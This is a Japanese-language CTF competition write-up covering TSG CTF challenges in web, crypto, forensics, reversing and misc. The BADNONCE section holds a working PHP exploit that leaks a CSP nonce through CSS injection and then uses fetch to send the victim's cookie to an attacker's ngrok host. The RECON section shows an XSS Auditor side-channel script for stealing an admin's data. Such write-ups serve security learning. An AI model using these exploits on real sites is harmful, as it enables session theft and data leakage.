# TSG CTF write-up (NaruseJun) English version: https://hackmd.io/s/HJhnHwTiE ## Sanity Check (Warmup 100pts) ![](https://i.imgur.com/5tZ9Qqb.png) ## BADNONCE Part 1 (Web 247pts) CSPが有効になっているページでXSSしてCookieを盗ってください、という問題でした。 ```html <meta http-equiv="Content-Security-Policy" content="script-src 'nonce-<?= $nonce ?>';"> ``` 問題名が **BADNONCE** なので明らかにnonceの実装が悪そうです。 実際、以下のようにセッションIDに対してnonceが固定なので、これが漏れるとXSSが可能になります。 ```php <?php session_start(); $nonce = md5(session_id()); ``` 件のnonceは、ページ内の要素の属性として存在しています。 ```html <script nonce=<?= $nonce ?>> console.log('Welcome to the dungeon :-)'); </script> ``` ところで、このページでは`script-src`のみ制限されているので、たとえばスタイルシートなどは外部ソースから読み込み放題です。 したがって、CSS Injectionが可能です。セレクタを工夫することによって、要素の属性値を特定することができますね。 >【参考リンク】 > CSS Injection 再入門 – やっていく気持ち > https://diary.shift-js.info/css-injection/ ただし、管理者のブラウザを模したクローラは、毎回異なるPHPSESSIDを持つため、1度の起動で最後までnonceを抜きとって、XSSを踏ませるところまでやらないといけません。 ちょっと面倒ですが、管理者に攻撃車が用意したURLをIFRAMEで開き続けるページを踏ませて、InjectするCSSを変えながら、最終的にXSSを発火させるようにしました。 以下のような実装になりました。Web問のExploitにしてはちょっと重めかも。もっと頭のいい方法が存在する可能性もあり。 ```php <?php if (array_key_exists("save", $_GET)) { file_put_contents("flag.txt", $_GET["save"] . PHP_EOL, LOCK_EX | FILE_APPEND); } else if (array_key_exists("nonce", $_GET)) { $nonce = file_get_contents("nonce.txt"); if (strlen($nonce) < strlen($_GET["nonce"])) { file_put_contents("nonce.txt", $_GET["nonce"], LOCK_EX); } } else if (array_key_exists("css", $_GET)) { header("Content-Type: text/css"); echo("script { display: block }" . PHP_EOL); $nonce = file_get_contents("nonce.txt"); $chars = str_split("0123456789abcdef"); foreach ($chars as $c1) { foreach ($chars as $c2) { $x = $nonce . $c1 . $c2; echo("[nonce^='" . $x . "'] { background: url(http://cf07fd07.ap.ngrok.io/?nonce=" . $x . ") }" . PHP_EOL); } } } else if (array_key_exists("go", $_GET)) { $nonce = file_get_contents("nonce.txt"); if (strlen($nonce) < 32) { header("Location: http://35.187.214.138:10023/?q=%3Clink%20rel%3D%22stylesheet%22%20href%3D%22http%3A%2F%2Fcf07fd07.ap.ngrok.io%2F%3Fcss%3D" . microtime(true) . "%22%3E"); } else { header("Location: http://35.187.214.138:10023/?q=%3Cscript%20nonce%3D%22" . $nonce . "%22%3Efetch(%22http%3A%2F%2Fcf07fd07.ap.ngrok.io%2F%3Fsave%3D%22%20%2B%20encodeURIComponent(document.cookie))%3C%2Fscript%3E"); } } else if (array_key_exists("start", $_GET)) { file_put_contents("nonce.txt", "", LOCK_EX); file_put_contents("flag.txt", "", LOCK_EX); ?> <html> <body> <script> setInterval(() => { const iframe = document.createElement("iframe"); iframe.src = `?go=${(new Date).getTime()}`; document.body.appendChild(iframe); }, 256); </script> </body> </html> <?php } else { echo("E R R O R !"); } ?> ``` ## Secure Bank (Web 497pts) rubyで書かれたアプリケーションで、コインの送受信ができます。 たくさんのコインを集めれば、FLAGが入手できるようです。 ```ruby get '/api/flag' do return err(401, 'login first') unless user = session[:user] hashed_user = STRETCH.times.inject(user){|s| Digest::SHA1.hexdigest(s)} res = DB.query 'SELECT balance FROM account WHERE user = ?', hashed_user row = res.next balance = row && row[0] res.close return err(401, 'login first') unless balance return err(403, 'earn more coins!!!') unless balance >= 10_000_000_000 json({flag: IO.binread('data/flag.txt')}) end ``` 怪しいのは送金コードで、こういう形。 ```ruby post '/api/transfer' do return err(401, 'login first') unless src = session[:user] return err(400, 'bad request') unless dst = params[:target] and String === dst and dst != src return err(400, 'bad request') unless amount = params[:amount] and String === amount return err(400, 'bad request') unless amount = amount.to_i and amount > 0 sleep 1 hashed_src = STRETCH.times.inject(src){|s| Digest::SHA1.hexdigest(s)} hashed_dst = STRETCH.times.inject(dst){|s| Digest::SHA1.hexdigest(s)} res = DB.query 'SELECT balance FROM account WHERE user = ?', hashed_src row = res.next balance_src = row && row[0] res.close return err(422, 'no enough coins') unless balance_src >= amount res = DB.query 'SELECT balance FROM account WHERE user = ?', hashed_dst row = res.next balance_dst = row && row[0] res.close return err(422, 'no such user') unless balance_dst balance_src -= amount balance_dst += amount DB.execute 'UPDATE account SET balance = ? WHERE user = ?', balance_src, hashed_src DB.execute 'UPDATE account SET balance = ? WHERE user = ?', balance_dst, hashed_dst json({amount: amount, balance: balance_src}) end ``` ぱっと見たところ、トランザクションを考慮していないので、高頻度でリクエストを飛ばせばRace Conditionで二重送金ができそうだったんですが、軽く試したところ、タイミングがシビアでほとんどうまくいかなかったので、この方針は諦めました。 ところで、このコードをもう少しよく見ると、宛先と送金元が同一のユーザであったとき、コインが増殖することは明らかです。 もちろん、自分自身への送金はエラーになる実装となっているんですが、残高の照会をユーザ名をハッシュした値で行っているのに対して、ユーザの同一性判定は元の文字列で行っています。 つまりは、別の文字列であって、SHA1ハッシュの結果が同一になる文字列の組がもし存在すれば、無限にコインを増やすことができそうです。 SHA1の衝突といえば……[SHAttered](https://shattered.io/)ですよね。 詳しい理屈はググってもらうとして、これを用いれば、先に述べた要件を満たすような文字列(というかバイト列)の組が用意できます。 JSONとしてnon-printableな文字を送る際に破壊されないように注意しつつ、以下のようにして用意しました。 ```php <?php $s1 = file_get_contents("shattered-1.pdf"); $s2 = file_get_contents("shattered-2.pdf"); $t1 = substr($s1, 0, 320) . "narusejun"; $t2 = substr($s2, 0, 320) . "narusejun"; echo(sha1($t1) . PHP_EOL); echo(sha1($t2) . PHP_EOL); function toStr($c) { $i = ord($c); if ($c == '"') { return '\\"'; } if ($c == '%') { return '%%'; } if ($i < 0x20) { return sprintf("\\u%04x", $i); } if ($i < 0x7F) { return $c; } return sprintf("\\x%02x", ord($c)); } $u1 = implode(array_map(toStr, str_split($t1))); $u2 = implode(array_map(toStr, str_split($t2))); echo($u1 . PHP_EOL); echo($u2 . PHP_EOL); ?> ``` この文字列のどちらかを使って登録した上で、もう一方の文字列を宛先として指定して送金すると、コインが増殖します。 curlを使うと容易です。 ## RECON (Web 500pts) Web問です。PHPで実装された、プロフィールを登録できるサービスです。 秘密の質問として20種類のフルーツが好きか否かを選択できるようになっていて、どうやらadminの好きなフルーツをRECONすれば良いみたいです。 ソースコードを見ると、自身のプロフィールを確認するページで露骨にCSPが弱められていて、怪しさがあります。 ```php $response->withHeader("Content-Security-Policy", "script-src-elem 'self'; script-src-attr 'unsafe-inline'; style-src 'self'") ``` この要素は新しい機能なので、`script-src-elem`と`script-src-attr`が効いていなくて、実質XSSし放題になっているようでした。 しかしながら、このページはログインしたユーザ自身のプロフィールを表示するものですので、狙った相手にコードを実行させるのは厳しそうな雰囲気があります。 ところで、そもそも何故`script-src-attr`などという特殊な(?)制限が付されているのでしょうか? この答えは、このページのソースを注意深く見るとすぐに気が付きました。 ```html 🍇 <input type="checkbox" id="grapes" onchange="grapes.checked=false;" > 🍈 <input type="checkbox" id="melon" onchange="melon.checked=false;" > 🍉 <input type="checkbox" id="watermelon" onchange="watermelon.checked=false;" > 🍊 <input type="checkbox" id="tangerine" onchange="tangerine.checked=false;" > 🍋 <input type="checkbox" id="lemon" onchange="lemon.checked=false;" > 🍌 <input type="checkbox" id="banana" onchange="banana.checked=false;" > 🍍 <input type="checkbox" id="pineapple" onchange="pineapple.checked=false;" > 🍐 <input type="checkbox" id="pear" onchange="pear.checked=false;" > 🍑 <input type="checkbox" id="peach" onchange="peach.checked=false;" > 🍒 <input type="checkbox" id="cherries" onchange="cherries.checked=false;" > 🍓 <input type="checkbox" id="strawberry" onchange="strawberry.checked=false;" > 🍅 <input type="checkbox" id="tomato" onchange="tomato.checked=false;" > 🥥 <input type="checkbox" id="coconut" onchange="coconut.checked=false;" > 🥭 <input type="checkbox" id="mango" onchange="mango.checked=false;" > 🥑 <input type="checkbox" id="avocado" onchange="avocado.checked=false;" > 🍆 <input type="checkbox" id="aubergine" onchange="aubergine.checked=false;" > 🥔 <input type="checkbox" id="potato" onchange="potato.checked=false;" > 🥕 <input type="checkbox" id="carrot" onchange="carrot.checked=false;" > 🥦 <input type="checkbox" id="broccoli" onchange="broccoli.checked=false;" > 🍄 <input type="checkbox" id="mushroom" onchange="mushroom.checked=false;" > ``` 秘密の質問がプロフィールページに表示されているんですが、この変更を禁止する目的でJavaScriptが用いられているのでした! このコードのみ実行できるようにする目的で、部分的なunsafe-inlineが許容されていたようです。 もし、この小さなJavaScriptコードを盗むことができれば、adminの好きなフルーツを知ることできそうです。 このページでは、`X-XSS-Protection: 1; mode=block`というヘッダが送信されていて、XSS Auditorがブロックモードで動作することが期待されていて、adminのブラウザもこれに従っているでしょう。 こういう場合に、XSS Auditorの誤検出を利用して、ページ内のスクリプトを盗む手法が存在します。 >【参考リンク】 > ブラウザのXSSフィルタを利用した情報窃取攻撃 | MBSD Blog > https://www.mbsd.jp/blog/20160407_2.html これを利用できそうです。(できました。) 以下のような2つのIFRAMEを表示させれば、どちらか一方をXSS Auditorがブロックするはずです。 ```html <iframe src='http://34.97.74.235:10033/profile?onchange="melon.checked=true;"'></iframe> <iframe src='http://34.97.74.235:10033/profile?onchange="melon.checked=false;"'></iframe> ``` この性質を利用し、攻撃者のページで2つのIFRAMEを開かせて、どちらがブロックされたかを判別すれば良いですね。 IFRAME要素の`contentWindow.length`を見ると、XSS Auditorが作動したか否かを簡単に判別できるようでしたが、手元で試したときに何故かうまくいかなかったので(これは勘違いだったかもしれませんが)、`onload`が発火するまでの時間を計測するちょっと面倒な方法で判別しています。 XSS Auditorが作動すると、関連リソースの読み込みが走らないので、`onload`が早く呼ばれるはずです。 以下のように実装し、IFRAMEをプロフィールに埋め込んで、adminにアクセスさせました。 JavaScriptの記法モダンだったりレガシーだったりしていて、気持ち悪いんですが、終了ギリギリで解いていたためいろいろ焦っていて、見当違いの試行錯誤をしていた名残です。 ```php <?php if(array_key_exists("save", $_GET)){ file_put_contents("save.txt", $_GET["save"] . PHP_EOL, FILE_APPEND | LOCK_EX); echo("OK!"); }else{ ?> <html> <body> <script> function test(key, val){ return new Promise(function(resolve){ const iframe = document.createElement("iframe"); iframe.onload = function(){ iframe.remove(); resolve([key, val, new Date().getTime() - time]); }; iframe.src = `http://34.97.74.235:10033/profile?onchange="${key}.checked=${val};"`; const time = new Date().getTime(); document.body.appendChild(iframe); }); } (async () => { const results = []; for(let i = 0; i < 1; i++){ results.push([ await test("mushroom", true), await test("mushroom", false), ]); } location.href = "?save=" + results; })(); </script> </body> </html> <?php } ?> ``` これを用いて、フルーツ1種類ごとに計測した結果が以下のとおりです。 Captchaを連打する必要があって、激ツラかったです。チームメイトにひたすらCaptchaしてもらいました。(もっと頭の良い実装をすればよかった気もしますが。) | フルーツ | trueのonload(ms)| falseのonload(ms) | 判定結果 | | --- | --- | --- | --- | | grapes | 84 | 334 | TRUE | | melon | 347 | 65 | FALSE | | watermelon | 245 | 47 | FALSE | | tangerine | 78 | 394 | TRUE | | lemon | 83 | 418 | TRUE | | banana | 73 | 255 | TRUE | | pineapple | 79 | 452 | TRUE | | pear | 252 | 48 | FALSE | | peach | 74 | 281 | TRUE | | cherries | 76 | 336 | TRUE | | strawberry | 79 | 318 | TRUE | | tomato | 77 | 353 | TRUE | | coconut | 77 | 333 | TRUE | | mango | 92 | 404 | TRUE | | avocado | 254 | 47 | FALSE | | aubergine | 85 | 333 | TRUE | | potato | 249 | 46 | FALSE | | carrot | 72 | 321 | TRUE | | broccoli | 428 | 40 | FALSE | | mushroom | 87 | 388 | TRUE | あとは、この結果を用いてadminのrecoveryメッセージ(FLAG)を表示させることができました。 ## OPQRX (Crypto 497pts) RSA暗号 $N=PQ, X=P\oplus Q, E=65537, C=(flag)^E\bmod N$ この4つが与えられるので $flag$ を求めよ。 [hxpCTF2017](hxpCTF2017) のfleaが類題。 下のビットから決めていくDFSを書くと良い。 普通にDFS書くと(4096ビットもあって)スタックが溢れるので非再帰で実装。 ```rb X = 95035(中略)51960 N = 24746(中略)09489 E = 65537 C = 38292(中略)05157 def extgcd(a,b) g,x,y = a,1,0 if b != 0 o = extgcd(b,a%b) g = o[:g] x = o[:y] y = o[:x] - (a/b)*x end return {g:g, x:x, y:y} end def modinv(a,m) o = extgcd(a,m) x = o[:x] x += m if x < 0 return x end BITS = 4096 ansp, ansq = -1, -1 stack = [] stack.push([0,0,0]) cnt = 0 while stack.length > 0 cnt += 1 if cnt % 100000 == 0 puts "cnt=#{cnt}: stack=#{stack.length}" end x,y,i = stack.pop if x*y==N ansp, ansq = x, y break end next if i==BITS v = (X>>i) & 1 for dx in [0,1] for dy in [0,1] next if (dx^dy) != v nx = x + (dx<<i) ny = y + (dy<<i) msk = (1<<(i+1))-1 next if ((nx*ny)&msk) != (N&msk) stack.push([nx,ny,i+1]) end end end puts ansp puts ansq # ansp = 58349(中略)66043 # ansq = 42410(中略)83523 D = modinv(E, (ansp-1)*(ansq-1)) F = C.pow(D,N) puts [F.to_s(16)].pack("H*") ``` `TSGCTF{Absolutely, X should be 'S' in 'OPQRX'.}` ## OMEGA (Crypto 500pts) $\omega = \exp(\frac23\pi i)$ として $\mathbb Z[\omega]$ をアイゼンシュタイン整数という。 アイゼンシュタイン整数上での加算乗除と剰余算が用意されている。 $flag = (flag_1,flag_2)\in \mathbb Z[\omega]$ を $modulo_i = (modulo_{i,1},modulo_{i,2})\in\mathbb Z[\omega]$ で割った余りが相違なる20個の $modulo_i$ について与えられる。 $flag$ を復元せよ。 一般的な整数環であれば、中国人剰余定理の適用によって元の値を一意に復元可能である。 用意された加算乗除と剰余算が環として成り立っているのであれば、そのまま中国人剰余定理を適用できる。(この辺の記述は数ヤに怒られそう) アイゼンシュタイン整数において、同伴という概念があり、処理の途中で何故か同伴な値になってしまう(答えが異なってしまう)ことがあったので、そこだけ若干全探索を行った。 ```rb require_relative 'params' def to_complex(x) a, b = x w = Math::E ** Complex(0, Math::PI*2.0/3.0) a + b*w end def add(x, y) a, b = x c, d = y [a+c, b+d] end def sub(x, y) a, b = x c, d = y [a-c, b-d] end def mul(x, y) a, b = x c, d = y [a*c - b*d, a*d + b*c - b*d] end def div(x, y) xc, yc = to_complex(x), to_complex(y) a, b = (xc / yc).rect [(a + b/Math.sqrt(3)).round, (b*2.0/Math.sqrt(3)).round] end def mod(x, y) # many times... 100.times do k = div(x, y) x = sub(x, mul(k, y)) end x end $units = [[1,0],[-1,0],[0,1],[0,-1],[1,1],[-1,-1]] def extgcd(a,b) g = a x = [1,0] y = [0,0] if b != [0,0] o = extgcd(b,mod(a,b)) g = o[:g] x = o[:y] y = sub(o[:x],mul(div(a,b),x)) end return {g:g, x:x, y:y} end def modinv(a,m) o = extgcd(a,m) x = o[:x] return x end N = PROBLEM.length r = [0,0] m = [1,0] for i in 0...N item = PROBLEM[i] b = item[0] md = item[1] o = extgcd(m,md) g = o[:g] p = div(o[:x], g) md = div(md, g) tmp = mod(mul(sub(b,r),p),md) if i == 1 || i == 4 tmp = mul(tmp,$units[1]) # ??? end r = add(r,mul(m,tmp)) m = mul(m,md) # check puts "CHECK" for j in 0..i print "#{j}=#{PROBLEM[j][0] == mod(r,PROBLEM[j][1])}," end puts "" end f1,f2 = r puts [f1.to_s(16)].pack("H*") puts [f2.to_s(16)].pack("H*") flag = f1 * (1<<(8*37)) + f2 puts [flag.to_s(16)].pack("H*") ``` ``` TSGCTF{I_H34RD_S0ME_IN7EGERS_INCLUDI NG_EISENSTEIN'S_F0RM_EUCL1DE4N_R1NG!} TSGCTF{I_H34RD_S0ME_IN7EGERS_INCLUDING_EISENSTEIN'S_F0RM_EUCL1DE4N_R1NG!} ``` ## Harekaze (Stego 499pts) [Forensically](https://29a.ch/photo-forensics/)のError Level Analysisを使って、ほんの少し読める画像を生成した。 ![Imgur](https://i.imgur.com/AfK3lah.png) そして、懸命にguessした。 ## Obliterated File (Forensics 92pts) ローカルリポジトリが与えられる。 コマンドミスで普通に過去コミットを漁れば`flag`というファイルがあったらしい。 該当コミットをチェックアウト後、`flag`の内容を出力するように、若干`main.cr`を変更。 ```crystal require "zlib" flag = File.open("./flag", "r") do |f| Zlib::Reader.open(f) do |inflate| inflate.gets_to_end end end puts flag ``` 実行。 ``` $ crystal main.cr TSGCTF{$_git_update-ref_-d_refs/original/refs/heads/master} ``` ## Obliterated File Again (Forensics 178pts) `git gc`されているらしいから、とりあえず`.git/packed-refs`を見る。 ``` # pack-refs with: peeled fully-peeled sorted 072690c0aaf46bc7875b67d6323b8f8d2074aaca refs/heads/master 1c80e25f51797b19dfbdeb0e2831ebd9bba64ab8 refs/original/refs/heads/master ``` `1c80e25f`をチェックアウトする。 ``` $ git checkout 1c80e25f ``` あとはObliterated Fileと同様。 ``` $ crystal main.cr TSGCTF{$_git_update-ref_-d_refs/original/refs/heads/master_S0rry_f0r_m4king_4_m1st4k3_0n_th1s_pr0bl3m} ``` ## ffi (Reversing 488pts) ttfファイルが与えられる。 言われたとおり、適当にフラグを打ってみる。 ![](https://i.imgur.com/7tzRL0a.png) `TSGCTF{flag}`という文字列を表示させると、`flag`が正しくない場合、`TSGCTF{flag} is incorrect`という見た目になる。 FontForgeで開くと、下の方に怪しげな文字が見える。 ![](https://i.imgur.com/HAArt8K.png) `glyph346`は`} is correct`、`glyph347`は`} is incorrect`のような見た目である。 Element > Font Info > Lookupsを見ると、大量にLigatureが設定されていて、これによって文字列の見た目を変えている。 この設定から、どの文字列を表示させた時に`is correct`になるかを辿れば良い。 検索性が悪いから、[fonttools](https://github.com/fonttools/fonttools)を使う。 ```bash $ pip install fonttools $ ttx ffi.ttf ``` `} is correct`に該当する`glyph00346`を検索する。 ```xml <Lookup index="51"> <LookupType value="1"/> <LookupFlag value="0"/> <!-- SubTableCount=1 --> <SingleSubst index="0" Format="2"> <Substitution in="a" out="glyph00102"/> <Substitution in="b" out="glyph00113"/> <Substitution in="braceright" out="glyph00346"/> <Substitution in="c" out="glyph00114"/> : <Substitution in="z" out="glyph00323"/> </SingleSubst> </Lookup> ``` ある特定の文字列で`}`は`glyph00346`が表示される。 `<Lookup index="51">`に注目する。 `"51"`を検索する。 ```xml <ChainContextSubst index="51" Format="3"> <!-- BacktrackGlyphCount=1 --> <BacktrackCoverage index="0" Format="1"> <Glyph value="glyph00140"/> </BacktrackCoverage> <!-- InputGlyphCount=1 --> <InputCoverage index="0" Format="2"> <Glyph value="underscore"/> <Glyph value="a"/> <Glyph value="b"/> : <Glyph value="y"/> <Glyph value="z"/> <Glyph value="braceright"/> </InputCoverage> <!-- LookAheadGlyphCount=0 --> <!-- SubstCount=1 --> <SubstLookupRecord index="0"> <SequenceIndex value="0"/> <LookupListIndex value="51"/> </SubstLookupRecord> </ChainContextSubst> ``` 完全には意味が分かってないけどとりあえずBacktrackしていく。 次に`glyph00140`を検索する。 ```xml <Lookup index="130"> <LookupType value="1"/> <LookupFlag value="0"/> <!-- SubTableCount=1 --> <SingleSubst index="0" Format="2"> <Substitution in="a" out="glyph00103"/> : <Substitution in="d" out="glyph00128"/> <Substitution in="e" out="glyph00140"/> <Substitution in="f" out="glyph00144"/> : <Substitution in="z" out="glyph00324"/> </SingleSubst> </Lookup> ``` ある特定の文字列で`e`は`glyph00140`が表示される。 以降、`index="130"`→`glyph00219`(`n`)→... と辿ると、`TSGCTF{ligature_state_machine}`となる。 試しに表示してみるとこうなる。 ![](https://i.imgur.com/4b5bOjf.png) ## Recorded (Misc 500pts) 以下のスクリプトを使って`input`を解読した。 ```c #include <assert.h> #include <fcntl.h> #include <linux/input.h> #include <stdio.h> #include <sys/time.h> int main(void) { int fd = open("input", O_RDWR); assert(fd != -1); for (;;) { struct input_event event; assert(read(fd, &event, sizeof(event)) == sizeof(event)); if (event.type == 0x1 && event.value == 0x1) { switch (event.code) { case KEY_1: putchar('1'); break; case KEY_2: putchar('2'); break; case KEY_3: putchar('3'); break; case KEY_4: putchar('4'); break; case KEY_5: putchar('5'); break; case KEY_6: putchar('6'); break; case KEY_7: putchar('7'); break; case KEY_8: putchar('8'); break; case KEY_9: putchar('9'); break; case KEY_0: putchar('0'); break; case KEY_MINUS: putchar('-'); break; case KEY_EQUAL: putchar('='); break; case KEY_Q: putchar('q'); break; case KEY_W: putchar('w'); break; case KEY_E: putchar('e'); break; case KEY_R: putchar('r'); break; case KEY_T: putchar('t'); break; case KEY_Y: putchar('y'); break; case KEY_U: putchar('u'); break; case KEY_I: putchar('i'); break; case KEY_O: putchar('o'); break; case KEY_P: putchar('p'); break; case KEY_LEFTBRACE: putchar('('); break; case KEY_RIGHTBRACE: putchar(')'); break; case KEY_ENTER: putchar('\n'); break; case KEY_A: putchar('a'); break; case KEY_S: putchar('s'); break; case KEY_D: putchar('d'); break; case KEY_F: putchar('f'); break; case KEY_G: putchar('g'); break; case KEY_H: putchar('h'); break; case KEY_J: putchar('j'); break; case KEY_K: putchar('k'); break; case KEY_L: putchar('l'); break; case KEY_SEMICOLON: putchar(';'); break; case KEY_APOSTROPHE: putchar('\''); break; case KEY_GRAVE: putchar('`'); break; case KEY_BACKSLASH: putchar('\\'); break; case KEY_Z: putchar('z'); break; case KEY_X: putchar('x'); break; case KEY_C: putchar('c'); break; case KEY_V: putchar('v'); break; case KEY_B: putchar('b'); break; case KEY_N: putchar('n'); break; case KEY_M: putchar('m'); break; case KEY_COMMA: putchar(','); break; case KEY_DOT: putchar('.'); break; case KEY_SLASH: putchar('/'); break; case KEY_SPACE: putchar(' '); break; case KEY_LEFTSHIFT: printf("<shift>"); break; case KEY_TAB: printf("<tab>"); break; case KEY_BACKSPACE: printf("<bs>"); break; default: printf("<%d>", event.code); } //printf(": %lu\n", event.time.tv_sec); } } close(fd); } ``` 結果は以下の通り。 ``` rm /dev/ura<tab> rm /dev/ra<tab> <shift>lang-c date --utc <shift>. /dev/random echo nyan <shift>.. /dev/ra<tab> curl -<shift>o https'//www.openssl.org/source/openssl-1.1.1b.tar.gz tar xzvf ope<tab> cd ope<tab><tab> vim cry<tab>ra<tab>rand<shift><89>unix.c 637<shift>gd17d621<shift>gd2d603<shift>gdd480<shift>gd30d'wq vim cr<tab>ra<tab>ra<tab><shift><89>li<tab> 250<shift>gd2d'wq ./co<tab> make -j 4 cd .. <shift>ld<89>library<89>path-./ope<tab> ./ope<tab>app<tab>ope<tab>genrsa 1024 <shift>. key.pem <shift>ld<89>library<89>path-./ope<tab> ./ope<tab>ap<tab>ope<tab>rsautl -encrypt -inkey key.<tab>-in fl<tab>-out encrypted fd<bs>g 1 ``` guessしながら結果を整形した。 ``` rm /dev/ura<tab> rm /dev/ra<tab> LANG=C date --utc > /dev/random (enter key tv_sec = 1556368668) echo nyan >> /dev/ra<tab> curl -O https://www.openssl.org/source/openssl-1.1.1b.tar.gz tar xzvf ope<tab> cd ope<tab><tab> vim cry<tab>ra<tab>rand_unix.c 637Gd17d621Gd2d603Gdd480Gd30d:wq vim cr<tab>ra<tab>ra<tab>_li<tab> 250Gd2d:wq ./co<tab> make -j 4 cd .. LD_LIBRARY_PATH=./ope<tab> ./ope<tab>app<tab>ope<tab>genrsa 1024 > key.pem (enter key tv_sec = 1556368884) LD_LIBRARY_PATH=./ope<tab> ./ope<tab>ap<tab>ope<tab>rsautl -encrypt -inkey key.<tab>-in fl<tab>-out encrypted fg 1 ^C ``` 与えられた`Dockerfile`を使って`problem`イメージを生成し`problem`上でコンテナを開始した。 コンテナの中で、以下のコマンドで`/dev/urandom`と`/dev/random`を削除し`/dev/random`を再生成した。 ```shell # rm /dev/urandom # rm /dev/random # LANG=C date --utc --date="@1556368668" > /dev/random # echo nyan >> /dev/random ``` 解読結果に従って改造されたOpenSSLバイナリを作った。しかし、`crypto/rand/rand_unix.c`の中の`get_time_stamp()`を以下のように再改造した。 ```c static uint64_t get_time_stamp(void) { return 1556368884; } ``` OpenSSLのソースコードを読んで`key.pem`生成をランダム化する3つの因子があることを理解した。それは、`/dev/random`、生成時刻、生成するプロセスのIDであった。 解読結果から正しい`/dev/random`と正しい生成時刻を知った。しかし、正しいPIDは分からないままだった。 したがって、`encrypted`をコンテナの中へコピーし、以下のコマンドで総当たり攻撃を行った。 ```shell # for ((i = 0; i < 40000; i++)); do LD_LIBRARY_PATH=./openssl-1.1.1b ./openssl-1.1.1b/apps/openssl genrsa 1024 > key.pem && LD_LIBRARY_PATH=./openssl-1.1.1b ./openssl-1.1.1b/apps/openssl rsautl -decrypt -inkey key.pem -in encrypted -out flag-${i}.txt; done # ls -lS | more ``` こうして、flagを見つけた。 ```shell # cat flag-2936.txt TSGCTF{openssl_genrsa_is_hardly_predictable} ```